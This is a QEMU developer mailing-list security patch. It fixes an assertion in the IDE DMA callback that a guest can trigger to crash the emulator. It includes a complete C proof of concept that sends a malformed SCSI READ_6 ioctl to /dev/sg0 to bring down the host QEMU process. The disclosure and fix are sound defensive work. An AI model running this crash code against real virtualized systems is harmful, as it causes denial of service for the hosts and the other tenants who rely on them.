[Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest

[Alexander Popov]

This assertion was introduced in the commit a718978ed58a in July 2015.
It implies that the size of successful DMA transfers handled in
ide_dma_cb() should be multiple of 512 (the size of a sector).

But guest systems can initiate DMA transfers that don't fit this
requirement. Let's improve the assertion to prevent qemu DoS from quests.

PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
command and crash qemu:

#include <stdio.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <scsi/scsi.h>
#include <scsi/scsi_ioctl.h>

#define CMD_SIZE 2048

struct scsi_ioctl_cmd_6 {
        unsigned int inlen;
        unsigned int outlen;
        unsigned char cmd[6];
        unsigned char data[];
};

int main(void)
{
        intptr_t fd = 0;
        struct scsi_ioctl_cmd_6 *cmd = NULL;

        cmd = malloc(CMD_SIZE);
        if (!cmd) {
                perror("[-] malloc");
                return 1;
        }

        memset(cmd, 0, CMD_SIZE);
        cmd->inlen = 1337;
        cmd->cmd[0] = READ_6;

        fd = open("/dev/sg0", O_RDONLY);
        if (fd == -1) {
                perror("[-] opening sg");
                return 1;
        }

        printf("[+] sg0 is opened\n");

        printf("[.] qemu should break here:\n");
        fflush(stdout);
        ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
        printf("[-] qemu didn't break\n");

        free(cmd);

        return 1;
}

Signed-off-by: Alexander Popov <address@hidden>
---
 hw/ide/core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/hw/ide/core.c b/hw/ide/core.c
index 6afadf8..304fe69 100644
--- a/hw/ide/core.c
+++ b/hw/ide/core.c
@@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
 
     sector_num = ide_get_sector(s);
     if (n > 0) {
-        assert(n * 512 == s->sg.size);
+        assert(n == s->sg.size / 512);
         dma_buf_commit(s, s->sg.size);
         sector_num += n;
         ide_set_sector(s, sector_num);
-- 
2.7.4